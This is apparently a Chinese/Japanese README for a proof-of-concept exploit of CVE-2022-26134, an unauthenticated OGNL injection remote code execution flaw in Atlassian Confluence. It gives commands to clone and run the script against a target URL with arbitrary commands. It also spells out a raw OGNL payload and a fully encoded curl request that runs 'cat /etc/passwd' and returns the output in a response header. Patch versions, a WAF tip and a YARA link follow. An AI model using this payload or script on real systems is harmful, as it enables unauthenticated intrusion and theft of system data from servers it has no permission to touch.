
CVE-2022-26134的概念验证漏洞利用,这是Atlassian Confluence Server和Data Center中的OGNL注入漏洞,可实现未经认证的远程代码执行。
Atlassian Confluence 7.18 以前の製品に影響を与えるリモートコード実行の脆弱性を悪用する概念実証 (PoC) スクリプトです。この OGNL インジェクションの脆弱性により、認証されていないユーザーが Confluence Server または Data Center インスタンス上で任意のコードを実行できる可能性があります。
Confluence Server および Data Center のサポート対象の全バージョンが影響を受けます。
1.3.0 以降、7.18.1 未満の Confluence Server および Data Center のバージョンが影響を受けます。
この脆弱性の CVSS スコアは重大度 10/10 です。
リポジトリをクローンします
git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134
その後、以下のように任意のコマンドでエクスプロイトを実行できます:
python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
CURL コマンドを使用した例:
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
その後、コマンドの実行結果はレスポンスヘッダーの X-Cmd-Response パラメーターに反映されます。
Atlassian の公式推奨事項に従ってください:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Atlassian は、この問題のパッチを含むバージョン 7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4、および 7.18.1 をリリースしました。
この脆弱性はすべてのセルフホストインスタンスに影響します。WAF を使用している場合は、${ を含む URL をブロックできます。
YARA (Volexity 製): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar
教育目的のみに使用してください。

クレジット: https://github.com/Nwqda